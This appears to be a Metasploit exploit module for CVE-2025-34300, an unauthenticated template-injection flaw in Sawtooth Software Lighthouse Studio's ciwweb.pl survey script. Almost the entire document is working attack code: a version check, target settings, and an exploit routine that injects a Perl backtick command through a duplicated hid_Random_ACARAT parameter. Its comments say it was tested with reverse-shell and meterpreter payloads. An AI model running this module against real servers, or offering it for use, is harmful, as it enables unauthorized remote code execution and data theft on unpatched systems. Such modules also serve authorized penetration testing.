📄 Sawtooth Software Lighthouse Studios Template Injection

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => "Template Injection Vulnerability in Sawtooth Software's Lighthouse Studio (CVE-2025-34300)",
            'Description' => %q{
              This module exploits a template injection vulnerability in the
              Sawtooth Software Lighthouse Studio's `ciwweb.pl` web application.
              The application fails to properly sanitize user input within survey templates,
              allowing unauthenticated attackers to inject and execute arbitrary Perl commands
              on the target system.
    
              This vulnerability affects Lighthouse Studio versions prior to 9.16.14.
              Successful exploitation may result in remote code execution under the privileges
              of the web server, potentially exposing sensitive data or disrupting survey operations.
    
              An attacker can execute arbitrary system commands in the context of the user running the web server.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Maksim Rogov', # Metasploit Module
              'Adam Kues' # Vulnerability Discovery
            ],
            'References' => [
              ['CVE', '2025-34300'],
              ['URL', 'https://slcyber.io/assetnote-security-research-center/rce-in-the-most-popular-survey-software-youve-never-heard-of/']
            ],
            'Platform' => ['multi'],
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Unix Command',
                {
                  'Platform' => ['unix', 'linux'],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    # On Ubuntu 18.04.06 LTS curl is not installed by default
                    'FETCH_COMMAND' => 'WGET'
                  }
                  # Tested with cmd/unix/reverse_bash
                  # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => ['windows'],
                  'Arch' => ARCH_CMD,
                  'Type' => :win_cmd,
                  'DefaultOptions' => {
                    # Environment variables like %TEMP% don't resolve
                    'FETCH_WRITABLE_DIR' => '\\Windows\\Tasks\\'
                  },
                  'Payload' => {
                    'Prepend' => 'cmd.exe /q /c'
                  }
                  # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ],
            ],
            'Payload' => {
              'BadChars' => '\\'
            },
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-07-16',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Path to vulnerable ciwweb.pl', '/cgi-bin/ciwweb.pl']),
            OptString.new('STUDYNAME', [false, 'Value for the hid_studyname GET parameter', '']),
          ]
        )
      end
    
      def check
        print_status('Extracting version...')
    
        vars = {
          'hid_javascript' => '1'
        }
        vars['hid_studyname'] = datastore['STUDYNAME'] unless datastore['STUDYNAME'].strip.empty?
    
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path),
          'method' => 'GET',
          'vars_get' => vars
        )
        return CheckCode::Unknown('No response from target') unless res&.code == 200
    
        if res.body =~ /Lighthouse Studio (\d+_\d+_\d+)/
          version_match = Regexp.last_match(1).to_s
          version = Rex::Version.new(version_match.gsub('_', '.'))
          print_status("Extracted version: #{version}")
    
          return CheckCode::Appears if version < Rex::Version.new('9.16.14')
        else
          print_error("#{peer} - Unable to extract version number")
        end
    
        html = res.get_html_document
        if html&.text&.include?('Lighthouse Studio')
          return CheckCode::Detected
        end
    
        CheckCode::Safe
      end
    
      def exploit
        print_status('Uploading malicious payload...')
    
        cmd = Rex::Text.uri_encode(payload.encoded)
    
        query = [
          'hid_javascript=1',
          "hid_Random_ACARAT=[%`#{cmd}`%]",
          "hid_Random_ACARAT=#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"
        ]
    
        query << "hid_studyname=#{datastore['STUDYNAME']}" unless datastore['STUDYNAME'].strip.empty?
        query_string = query.join('&')
    
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path),
          'method' => 'GET',
          'query' => query_string
        })
    
        if res
          html = res.get_html_document
          if html&.text&.include?('Cannot find the study name')
            fail_with(Failure::BadConfig, 'The STUDYNAME value was not found on the server')
          end
        end
      end
    end